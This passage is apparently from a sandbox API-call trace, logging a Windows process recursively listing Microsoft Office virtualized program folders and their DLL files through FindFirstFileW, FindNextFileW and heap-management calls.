ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.721] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0235.721] GetProcessHeap () returned 0xc10000 [0235.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0235.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0235.723] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.723] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0235.723] GetProcessHeap () returned 0xc10000 [0235.723] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0235.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft SQL Server\\110\\Shared\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0235.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0235.724] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0235.724] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0235.724] GetProcessHeap () returned 0xc10000 [0235.724] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0235.724] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 0 [0235.724] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0235.725] GetProcessHeap () returned 0xc10000 [0235.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0235.725] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0235.725] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0235.725] GetProcessHeap () returned 0xc10000 [0235.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0235.727] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0235.727] GetProcessHeap () returned 0xc10000 [0235.727] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0235.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0235.729] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.729] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0235.729] GetProcessHeap () returned 0xc10000 [0235.729] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0235.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0235.731] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.731] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0235.731] GetProcessHeap () returned 0xc10000 [0235.731] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0235.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\110\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0235.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0235.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16e4606, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.AdomdClient.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0235.733] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0235.733] GetProcessHeap () returned 0xc10000 [0235.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0235.733] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0235.733] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0235.733] GetProcessHeap () returned 0xc10000 [0235.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0235.733] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0 [0235.733] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0235.734] GetProcessHeap () returned 0xc10000 [0235.734] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0235.735] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0235.736] GetProcessHeap () returned 0xc10000 [0235.736] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0235.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0235.738] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.738] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0235.738] GetProcessHeap () returned 0xc10000 [0235.738] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0235.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Mozilla Firefox\\plugins\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0235.740] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.740] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 1 [0235.740] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9eb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="npMeetingJoinPluginOC.dll", cAlternateFileName="NPMEET~1.DLL")) returned 0 [0235.740] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0235.740] GetProcessHeap () returned 0xc10000 [0235.740] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0235.741] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0235.741] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0235.741] GetProcessHeap () returned 0xc10000 [0235.741] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0235.741] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0235.741] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0235.741] GetProcessHeap () returned 0xc10000 [0235.741] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0235.744] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0235.744] GetProcessHeap () returned 0xc10000 [0235.744] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0235.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0235.746] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.754] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee7cccb2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee7cccb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27450, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf46b8986, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d250, dwReserved0=0x0, dwReserved1=0x0, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc6b9190, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f670, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: 